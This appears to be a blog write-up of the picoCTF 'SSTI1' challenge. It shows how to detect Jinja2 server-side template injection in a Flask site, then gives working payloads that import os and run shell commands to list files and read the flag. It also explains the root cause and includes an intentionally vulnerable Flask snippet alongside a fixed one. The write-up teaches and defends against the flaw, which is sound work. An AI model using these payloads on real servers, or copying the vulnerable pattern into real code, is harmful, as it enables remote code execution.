SSTI1 — picoCTF
Challenge link:
https://learn.cylabacademy.org/library/492?page=1&workspace=true
Description:
I made a cool website where you can announce whatever you want! Try it out!
Let’s Drive to Find the Flag ->
Step-01:
Launch the challenge instance and access the target web page. The site presents a minimal interface with the prompt:
“I built a cool website that lets you announce whatever you want!”
A single input field allows the user to submit an announcement string via a POST or GET request.
Step-02:
To determine if the application dynamically renders user input within a template engine, submit a mathematical expression inside standard Jinja2 syntax:
{{ 7 * 7 }}Upon submission, the web application renders the calculated value:
49This confirms that user input is evaluated dynamically on the server side rather than being treated as plain text or properly escaped.
Step-03:
Leverage Python’s object inheritance within Jinja2 to access the os module or an execution popen subclass, and execute ls -la:
Get Fuad Hasan’s stories in your inbox
Join Medium for free to get updates from this writer.
Code snippet
{{ self._TemplateReference__context.namespace['__builtins__'].__import__('os').popen('ls -la').read() }}The server returns the directory listing:
Notice the presence of the flag file in the working directory.
Final step:
Execute a command to read the contents of the flag file using the injection payload:
{{ self._TemplateReference__context.namespace['__builtins__'].__import__('os').popen('cat flag').read() }}The server evaluates the payload and returns the target flag directly on the web page:
Root Cause
The vulnerability is caused by Server-Side Template Injection (SSTI) in the Flask/Jinja2 framework:
- Direct String Formatting in Templates: Instead of passing user input into the template context using arguments like
render_template_string(template, name=user_input)or using external template files withrender_template(), the application concatenates or embeds user input directly into the template format string before compilation. - Lack of Context Isolation: Jinja2 environment configurations allow traversing Python’s MRO (Method Resolution Order) and accessing built-in modules, leading from injection straight to Remote Code Execution (RCE).
Remediation & Fix
- Pass Data as Template Context: Never concatenate user input into the template string. Use parameterized template rendering so the engine treats user input strictly as data.
- Enable Template Sandboxing: If dynamic template generation from untrusted users is required, use Jinja2’s
SandboxedEnvironmentto restrict access to dangerous internal attributes and methods.
Example Vulnerable Code:
# VULNERABLE: Direct concatenation of user input into the template string
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route('/', methods=['GET', 'POST'])
def home():
announcement = request.form.get('announcement', '')
template = f"<h1>Home</h1><p>{announcement}</p>"
return render_template_string(template)Secure Implementation:
# SECURE: Passing input as a template variable
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route('/', methods=['GET', 'POST'])
def home():
announcement = request.form.get('announcement', '')
template = "<h1>Home</h1><p>{{ announcement }}</p>"
return render_template_string(template, announcement=announcement)








